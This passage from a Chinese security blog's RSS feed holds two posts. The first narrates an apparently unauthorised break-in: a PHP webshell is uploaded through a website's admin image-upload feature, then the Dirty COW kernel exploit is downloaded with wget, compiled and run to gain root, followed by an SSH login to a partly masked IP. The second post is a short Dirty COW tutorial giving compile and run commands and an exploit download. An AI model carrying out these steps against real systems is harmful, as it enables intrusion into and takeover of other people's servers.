]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>莫名其妙的后台拿shell加上Linux提权</title>
		<link>/web/352.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 11 Feb 2018 06:50:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[实战]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[渗透]]></category>
		<category><![CDATA[脏牛]]></category>
		<guid isPermaLink="false">/?p=189</guid>

					<description><![CDATA[当我还在被窝的时候，我们的@X1r0z大佬就已经在日站了。。 或许这就是大佬吧。 大佬召唤，我不得不起床。进入后台，寻找上传点，卧槽，发现FCK编辑器哎我们的XZ大佬现在连FCK编...]]></description>
										<content:encoded><![CDATA[<p>当我还在被窝的时候，我们的<a href="https://exp10it.cn/">@X1r0z大佬</a>就已经在日站了。。</p>
<p><img src="/wp-content/uploads/2018/02/433466645.png" alt="1.png" title="1.png"><br />或许这就是大佬吧。</p>
<p>大佬召唤，我不得不起床。<br />进入后台，寻找上传点，卧槽，发现FCK编辑器哎<br /><img src="/wp-content/uploads/2018/02/2345141013.png" alt="2.png" title="2.png"><br />我们的XZ大佬现在连FCK编辑器都拿不下来了吗？那就到我装逼的时候了！<br />然后GG，点击上传图片竟然。。<br /><img src="/wp-content/uploads/2018/02/2718947025.png" alt="5.png" title="5.png"></p>
<p>怪不得，大佬可是给我扔了个黑锅啊。不过还好，旁边还有一个<code>小文件上传</code>，是个上传点。<br /><img src="/wp-content/uploads/2018/02/2580867573.png" alt="3.png" title="3.png"><br />可是看到这个布局我突然有一种不详的预感。管他呢，burp一顿怼之后，草草放弃了。<br />因为不管怎么改文件名怎么截断都不解析啊。算了，再翻翻其他的。<br /><img src="/wp-content/uploads/2018/02/2360087802.png" alt="4.png" title="4.png"><br />这个语言包管理直觉是能够利用，不过可能还要百度源代码审计，想想放弃了，毕竟人家还是小白呢。</p>
<p>继续翻，我就不信了，发现又一个上传点！<br /><img src="/wp-content/uploads/2018/02/2933152389.png" alt="6.png" title="6.png"><br />好熟悉啊，和刚才发布文章的页面一毛一样！竟然在这有上传点。</p>
<p>那就开怼把！点击<code>插入图片</code>之后是这个样子<br /><img src="/wp-content/uploads/2018/02/270342418.png" alt="7.png" title="7.png"><br />很草率啊，不知道能不能上传。先上传一张正常的试试<br /><img src="/wp-content/uploads/2018/02/4069183061.png" alt="8.png" title="8.png"><br />竟然ok？！那就再试试直接传php后缀的<br /><img src="/wp-content/uploads/2018/02/3078760086.png" alt="9.png" title="9.png"><br />也上传成功了，但是没有返回路径？？？不急，我记得有一个文件管理。<br /><img src="/wp-content/uploads/2018/02/3185685965.png" alt="10.png" title="10.png"><br />果然ojbk了。<br /><img src="/wp-content/uploads/2018/02/1388588561.png" alt="11.png" title="11.png"><br />有没有很佩服我优秀的打码呢？<br />虚拟终端</p>
<pre><code>[*] 基本信息 [     Linux xxx 2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64(xxx) ]
[/wwwroot/upfiles/201802/11/]$ whoami
damachuli
[/wwwroot/upfiles/201802/11/]$ uname -a
Linux xxx 2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64 x86_64 x86_64 GNU/Linux
</code></pre>
<p>竟然是<span class="wpcom_tag_link"><a href="/tags/linux" title="Linux" target="_blank">Linux</a></span>机器，2012年的，我们可以试试<span class="wpcom_tag_link"><a href="/tags/%e8%84%8f%e7%89%9b" title="脏牛" target="_blank">脏牛</a></span><a href="/archives/48.html">详情看这里</a></p>
<pre><code>下载
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
编译
gcc -pthread dirty.c -o dirty -lcrypt
运行
./dirty 123456</code></pre>
<p>然后尝试链接提示</p>
<pre><code>fuzz@DESKTOP-JJAMRAA:~$ ssh root@114.80.xxx.xxx
ssh: connect to host 114.80.xxx.xxx port 22: Connection refused</code></pre>
<p><code>netstat -ntpl</code>查看端口<br /><img src="/wp-content/uploads/2018/02/535194959.png" alt="13.png" title="13.png"><br />尝试后发现是55022<br />链接<br /><img src="/wp-content/uploads/2018/02/3956331579.png" alt="13.png" title="13.png"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>dirtyc0w linux 提权</title>
		<link>/web/342.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jan 2018 07:34:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[提权]]></category>
		<guid isPermaLink="false">/?p=48</guid>

					<description><![CDATA[dirtyc0w 脏牛 名字来源于 linux 的 写时复制 (copy-on-write)漏洞详情 影响范围 Linux kernel &#62;= 2.6.22 基本上2007年...]]></description>
										<content:encoded><![CDATA[<p>dirtyc0w 脏牛 名字来源于 linux 的 写时复制 (copy-on-write)<br /><img src="/wp-content/uploads/2018/01/2151476941.jpg" alt="1516963088.jpg" title="1516963088.jpg"><br /><a href="http://www.freebuf.com/vuls/117331.html">漏洞详情</a></p>
<p>影响范围 <span class="wpcom_tag_link"><a href="/tags/linux" title="Linux" target="_blank">Linux</a></span> kernel &gt;= 2.6.22</p>
<p>基本上2007年到2016年的版本都有这个漏洞</p>
<p><a href="https://github.com/FireFart/dirtycow">EXP</a></p>
<p>内核版本<br /><img src="/wp-content/uploads/2018/01/3822652644.jpg" alt="1516963898.jpg" title="1516963898.jpg"></p>
<p>编译</p>
<p><code>gcc -pthread dirty.c -o dirty -lcrypt</code></p>
<p>运行</p>
<p><code>./dirty yourpassword</code><br /><img src="/wp-content/uploads/2018/01/2533975681.jpg" alt="1516964034.jpg" title="1516964034.jpg"></p>
<p>切换到 firefart 用户</p>
<p><img src="/wp-content/uploads/2018/01/2890341305.jpg" alt="1516964048.jpg" title="1516964048.jpg"></p>
<p>uid = 0 root 权限</p>
<p>如果是在反弹的 shell 里执行 直接连接 ssh</p>
<p>别忘了恢复原来的 passwd 文件</p>
<p><a href="/wp-content/uploads/2018/01/1516964128.zip">dirty.zip下载</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
